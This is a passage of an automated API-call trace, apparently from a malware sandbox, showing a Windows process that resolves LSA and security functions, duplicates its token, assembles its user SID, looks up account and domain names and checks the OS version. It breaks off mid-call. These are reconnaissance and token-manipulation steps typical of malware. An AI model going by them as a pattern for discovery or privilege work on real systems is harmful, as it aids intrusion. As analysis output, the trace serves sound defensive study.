[0157.222] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0157.223] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0157.223] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0157.223] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0157.223] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0157.223] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0157.224] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0157.224] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0157.224] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0157.224] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0157.224] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0157.224] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0157.225] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0157.225] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0157.225] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0157.225] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0157.226] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0157.226] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0157.226] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0157.226] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0157.226] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0157.226] malloc (_Size=0x18) returned 0x2af240 [0157.226] DuplicateTokenEx (in: hExistingToken=0x2ac, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x248) returned 1 [0157.226] malloc (_Size=0x48) returned 0x2ad6d0 [0157.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2a1f3b00, dwHighDateTime=0x1d8a92a)) [0157.227] SetEvent (hEvent=0x1f0) returned 1 [0157.229] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0157.229] GetLastError () returned 0x7a [0157.229] malloc (_Size=0x2c) returned 0x2b8b10 [0157.229] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0157.229] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0157.229] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0157.229] malloc (_Size=0x1c) returned 0x2b8710 [0157.229] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8710, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8710*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0157.229] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0157.229] malloc (_Size=0x18) returned 0x2af240 [0157.229] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0157.229] malloc (_Size=0x18) returned 0x2af1a0 [0157.229] malloc (_Size=0x18) returned 0x2af180 [0157.229] SysStringLen (param_1="S-1-") returned 0x4 [0157.229] SysStringLen (param_1="5") returned 0x1 [0157.229] memcpy (in: _Dst=0x142518, _Src=0x1423c8, _Size=0xa | out: _Dst=0x142518) returned 0x142518 [0157.229] memcpy (in: _Dst=0x142520, _Src=0x142458, _Size=0x4 | out: _Dst=0x142520) returned 0x142520 [0157.229] free (_Block=0x2af240) [0157.230] free (_Block=0x2af1a0) [0157.230] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0157.230] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0157.230] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0157.230] malloc (_Size=0x18) returned 0x2af1a0 [0157.230] malloc (_Size=0x18) returned 0x2af240 [0157.230] SysStringLen (param_1="S-1-5") returned 0x5 [0157.230] SysStringLen (param_1="-") returned 0x1 [0157.230] memcpy (in: _Dst=0x142458, _Src=0x142518, _Size=0xc | out: _Dst=0x142458) returned 0x142458 [0157.230] memcpy (in: _Dst=0x142462, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x142462) returned 0x142462 [0157.230] free (_Block=0x2af180) [0157.230] free (_Block=0x2af1a0) [0157.230] malloc (_Size=0x18) returned 0x2af1a0 [0157.230] malloc (_Size=0x18) returned 0x2af180 [0157.230] SysStringLen (param_1="S-1-5-") returned 0x6 [0157.230] SysStringLen (param_1="21") returned 0x2 [0157.230] memcpy (in: _Dst=0x1423c8, _Src=0x142458, _Size=0xe | out: _Dst=0x1423c8) returned 0x1423c8 [0157.230] memcpy (in: _Dst=0x1423d4, _Src=0x142518, _Size=0x6 | out: _Dst=0x1423d4) returned 0x1423d4 [0157.230] free (_Block=0x2af240) [0157.230] free (_Block=0x2af1a0) [0157.230] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0157.231] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0157.231] malloc (_Size=0x18) returned 0x2af1a0 [0157.231] malloc (_Size=0x18) returned 0x2af240 [0157.231] SysStringLen (param_1="S-1-5-21") returned 0x8 [0157.231] SysStringLen (param_1="-") returned 0x1 [0157.231] memcpy (in: _Dst=0x142518, _Src=0x1423c8, _Size=0x12 | out: _Dst=0x142518) returned 0x142518 [0157.231] memcpy (in: _Dst=0x142528, _Src=0x142458, _Size=0x4 | out: _Dst=0x142528) returned 0x142528 [0157.231] free (_Block=0x2af180) [0157.231] free (_Block=0x2af1a0) [0157.231] malloc (_Size=0x18) returned 0x2af1a0 [0157.231] malloc (_Size=0x18) returned 0x2af180 [0157.231] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0157.231] SysStringLen (param_1="4219442223") returned 0xa [0157.231] memcpy (in: _Dst=0x118088, _Src=0x142518, _Size=0x14 | out: _Dst=0x118088) returned 0x118088 [0157.231] memcpy (in: _Dst=0x11809a, _Src=0x1423c8, _Size=0x16 | out: _Dst=0x11809a) returned 0x11809a [0157.232] free (_Block=0x2af240) [0157.232] free (_Block=0x2af1a0) [0157.232] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0157.232] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0157.232] malloc (_Size=0x18) returned 0x2af1a0 [0157.232] malloc (_Size=0x18) returned 0x2af240 [0157.232] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0157.232] SysStringLen (param_1="-") returned 0x1 [0157.232] memcpy (in: _Dst=0x118128, _Src=0x118088, _Size=0x28 | out: _Dst=0x118128) returned 0x118128 [0157.232] memcpy (in: _Dst=0x11814e, _Src=0x142518, _Size=0x4 | out: _Dst=0x11814e) returned 0x11814e [0157.232] free (_Block=0x2af180) [0157.232] free (_Block=0x2af1a0) [0157.232] malloc (_Size=0x18) returned 0x2af1a0 [0157.232] malloc (_Size=0x18) returned 0x2af180 [0157.232] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0157.232] SysStringLen (param_1="4223814209") returned 0xa [0157.232] memcpy (in: _Dst=0x107588, _Src=0x118128, _Size=0x2a | out: _Dst=0x107588) returned 0x107588 [0157.232] memcpy (in: _Dst=0x1075b0, _Src=0x142518, _Size=0x16 | out: _Dst=0x1075b0) returned 0x1075b0 [0157.232] free (_Block=0x2af240) [0157.232] free (_Block=0x2af1a0) [0157.232] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0157.233] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0157.233] malloc (_Size=0x18) returned 0x2af1a0 [0157.233] malloc (_Size=0x18) returned 0x2af240 [0157.233] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0157.233] SysStringLen (param_1="-") returned 0x1 [0157.233] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x3e | out: _Dst=0x12dc48) returned 0x12dc48 [0157.233] memcpy (in: _Dst=0x12dc84, _Src=0x142518, _Size=0x4 | out: _Dst=0x12dc84) returned 0x12dc84 [0157.233] free (_Block=0x2af180) [0157.233] free (_Block=0x2af1a0) [0157.233] malloc (_Size=0x18) returned 0x2af1a0 [0157.233] malloc (_Size=0x18) returned 0x2af180 [0157.233] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0157.233] SysStringLen (param_1="3835049652") returned 0xa [0157.233] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x40 | out: _Dst=0x107588) returned 0x107588 [0157.233] memcpy (in: _Dst=0x1075c6, _Src=0x142518, _Size=0x16 | out: _Dst=0x1075c6) returned 0x1075c6 [0157.233] free (_Block=0x2af240) [0157.233] free (_Block=0x2af1a0) [0157.233] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0157.233] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0157.233] malloc (_Size=0x18) returned 0x2af1a0 [0157.233] malloc (_Size=0x18) returned 0x2af240 [0157.233] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0157.234] SysStringLen (param_1="-") returned 0x1 [0157.234] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x54 | out: _Dst=0x12dc48) returned 0x12dc48 [0157.234] memcpy (in: _Dst=0x12dc9a, _Src=0x142518, _Size=0x4 | out: _Dst=0x12dc9a) returned 0x12dc9a [0157.234] free (_Block=0x2af180) [0157.234] free (_Block=0x2af1a0) [0157.234] malloc (_Size=0x18) returned 0x2af1a0 [0157.234] malloc (_Size=0x18) returned 0x2af180 [0157.234] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0157.234] SysStringLen (param_1="1000") returned 0x4 [0157.234] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x56 | out: _Dst=0x107588) returned 0x107588 [0157.234] memcpy (in: _Dst=0x1075dc, _Src=0x142518, _Size=0xa | out: _Dst=0x1075dc) returned 0x1075dc [0157.234] free (_Block=0x2af240) [0157.234] free (_Block=0x2af1a0) [0157.234] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0157.234] malloc (_Size=0x5e) returned 0x2b0ad0 [0157.234] free (_Block=0x2af180) [0157.234] malloc (_Size=0x18) returned 0x2af180 [0157.235] free (_Block=0x2b0ad0) [0157.235] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0157.236] GetLastError () returned 0x7a [0157.236] malloc (_Size=0x14) returned 0x2af1a0 [0157.236] malloc (_Size=0x16) returned 0x2af240 [0157.236] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af1a0, cchName=0xe7ca84, ReferencedDomainName=0x2af240, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0157.236] malloc (_Size=0x18) returned 0x2af280 [0157.237] malloc (_Size=0x18) returned 0x2af260 [0157.237] free (_Block=0x2af1a0) [0157.237] free (_Block=0x2af240) [0157.237] free (_Block=0x2b8710) [0157.237] free (_Block=0x2af260) [0157.237] free (_Block=0x2af280) [0157.237] free (_Block=0x2af180) [0157.237] free (_Block=0x2b8b10) [0157.238] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a020, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0157.238] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0157.238] GetLastError () returned 0x7a [0157.238] malloc (_Size=0x2c) returned 0x2b8b50 [0157.238] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0157.238] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0157.238] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0157.238] malloc (_Size=0x1c) returned 0x2b8710 [0157.238] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8710, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8710*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0157.238] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0157.238] malloc (_Size=0x18) returned 0x2af180 [0157.238] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0157.238] malloc (_Size=0x18) returned 0x2af280 [0157.238] malloc (_Size=0x18) returned 0x2af260 [0157.238] SysStringLen (param_1="S-1-") returned 0x4 [0157.238] SysStringLen (param_1="5") returned 0x1 [0157.238] memcpy (in: _Dst=0x1423c8, _Src=0x142458, _Size=0xa | out: _Dst=0x1423c8) returned 0x1423c8 [0157.238] memcpy (in: _Dst=0x1423d0, _Src=0x142518, _Size=0x4 | out: _Dst=0x1423d0) returned 0x1423d0 [0157.238] free (_Block=0x2af180) [0157.238] free (_Block=0x2af280) [0157.238] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0157.238] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0157.239] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0157.239] malloc (_Size=0x18) returned 0x2af280 [0157.239] malloc (_Size=0x18) returned 0x2af180 [0157.239] SysStringLen (param_1="S-1-5") returned 0x5 [0157.239] SysStringLen (param_1="-") returned 0x1 [0157.239] memcpy (in: _Dst=0x142518, _Src=0x1423c8, _Size=0xc | out: _Dst=0x142518) returned 0x142518 [0157.239] memcpy (in: _Dst=0x142522, _Src=0x142458, _Size=0x4 | out: _Dst=0x142522) returned 0x142522 [0157.239] free (_Block=0x2af260) [0157.239] free (_Block=0x2af280) [0157.239] malloc (_Size=0x18) returned 0x2af280 [0157.239] malloc (_Size=0x18) returned 0x2af260 [0157.239] SysStringLen (param_1="S-1-5-") returned 0x6 [0157.239] SysStringLen (param_1="21") returned 0x2 [0157.239] memcpy (in: _Dst=0x142458, _Src=0x142518, _Size=0xe | out: _Dst=0x142458) returned 0x142458 [0157.239] memcpy (in: _Dst=0x142464, _Src=0x1423c8, _Size=0x6 | out: _Dst=0x142464) returned 0x142464 [0157.239] free (_Block=0x2af180) [0157.239] free (_Block=0x2af280) [0157.239] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0157.239] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0157.239] malloc (_Size=0x18) returned 0x2af280 [0157.239] malloc (_Size=0x18) returned 0x2af180 [0157.239] SysStringLen (param_1="S-1-5-21") returned 0x8 [0157.240] SysStringLen (param_1="-") returned 0x1 [0157.240] memcpy (in: _Dst=0x1423c8, _Src=0x142458, _Size=0x12 | out: _Dst=0x1423c8) returned 0x1423c8 [0157.240] memcpy (in: _Dst=0x1423d8, _Src=0x142518, _Size=0x4 | out: _Dst=0x1423d8) returned 0x1423d8 [0157.240] free (_Block=0x2af260) [0157.240] free (_Block=0x2af280) [0157.240] malloc (_Size=0x18) returned 0x2af280 [0157.240] malloc (_Size=0x18) returned 0x2af260 [0157.240] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0157.240] SysStringLen (param_1="4219442223") returned 0xa [0157.240] memcpy (in: _Dst=0x118088, _Src=0x1423c8, _Size=0x14 | out: _Dst=0x118088) returned 0x118088 [0157.240] memcpy (in: _Dst=0x11809a, _Src=0x142458, _Size=0x16 | out: _Dst=0x11809a) returned 0x11809a [0157.240] free (_Block=0x2af180) [0157.240] free (_Block=0x2af280) [0157.240] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0157.240] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0157.240] malloc (_Size=0x18) returned 0x2af280 [0157.240] malloc (_Size=0x18) returned 0x2af180 [0157.240] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0157.240] SysStringLen (param_1="-") returned 0x1 [0157.240] memcpy (in: _Dst=0x118128, _Src=0x118088, _Size=0x28 | out: _Dst=0x118128) returned 0x118128 [0157.241] memcpy (in: _Dst=0x11814e, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x11814e) returned 0x11814e [0157.241] free (_Block=0x2af260) [0157.241] free (_Block=0x2af280) [0157.241] malloc (_Size=0x18) returned 0x2af280 [0157.241] malloc (_Size=0x18) returned 0x2af260 [0157.241] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0157.241] SysStringLen (param_1="4223814209") returned 0xa [0157.241] memcpy (in: _Dst=0x12dc48, _Src=0x118128, _Size=0x2a | out: _Dst=0x12dc48) returned 0x12dc48 [0157.241] memcpy (in: _Dst=0x12dc70, _Src=0x1423c8, _Size=0x16 | out: _Dst=0x12dc70) returned 0x12dc70 [0157.241] free (_Block=0x2af180) [0157.241] free (_Block=0x2af280) [0157.241] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0157.241] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0157.241] malloc (_Size=0x18) returned 0x2af280 [0157.241] malloc (_Size=0x18) returned 0x2af180 [0157.241] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0157.241] SysStringLen (param_1="-") returned 0x1 [0157.241] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x3e | out: _Dst=0x107588) returned 0x107588 [0157.241] memcpy (in: _Dst=0x1075c4, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x1075c4) returned 0x1075c4 [0157.241] free (_Block=0x2af260) [0157.241] free (_Block=0x2af280) [0157.241] malloc (_Size=0x18) returned 0x2af280 [0157.242] malloc (_Size=0x18) returned 0x2af260 [0157.242] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0157.242] SysStringLen (param_1="3835049652") returned 0xa [0157.242] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x40 | out: _Dst=0x12dc48) returned 0x12dc48 [0157.242] memcpy (in: _Dst=0x12dc86, _Src=0x1423c8, _Size=0x16 | out: _Dst=0x12dc86) returned 0x12dc86 [0157.242] free (_Block=0x2af180) [0157.242] free (_Block=0x2af280) [0157.242] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0157.242] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0157.242] malloc (_Size=0x18) returned 0x2af280 [0157.242] malloc (_Size=0x18) returned 0x2af180 [0157.242] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0157.242] SysStringLen (param_1="-") returned 0x1 [0157.242] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x54 | out: _Dst=0x107588) returned 0x107588 [0157.242] memcpy (in: _Dst=0x1075da, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x1075da) returned 0x1075da [0157.242] free (_Block=0x2af260) [0157.242] free (_Block=0x2af280) [0157.242] malloc (_Size=0x18) returned 0x2af280 [0157.242] malloc (_Size=0x18) returned 0x2af260 [0157.242] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0157.242] SysStringLen (param_1="1000") returned 0x4 [0157.243] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x56 | out: _Dst=0x12dc48) returned 0x12dc48 [0157.243] memcpy (in: _Dst=0x12dc9c, _Src=0x1423c8, _Size=0xa | out: _Dst=0x12dc9c) returned 0x12dc9c [0157.243] free (_Block=0x2af180) [0157.243] free (_Block=0x2af280) [0157.243] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0157.243] malloc (_Size=0x5e) returned 0x2b0ad0 [0157.243] free (_Block=0x2af260) [0157.243] malloc (_Size=0x18) returned 0x2af260 [0157.243] free (_Block=0x2b0ad0) [0157.243] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0157.245] GetLastError () returned 0x7a [0157.245] malloc (_Size=0x14) returned 0x2af280 [0157.245] malloc (_Size=0x16) returned 0x2af180 [0157.245] LookupAccountSidW (in: lpSystemName=0x0, 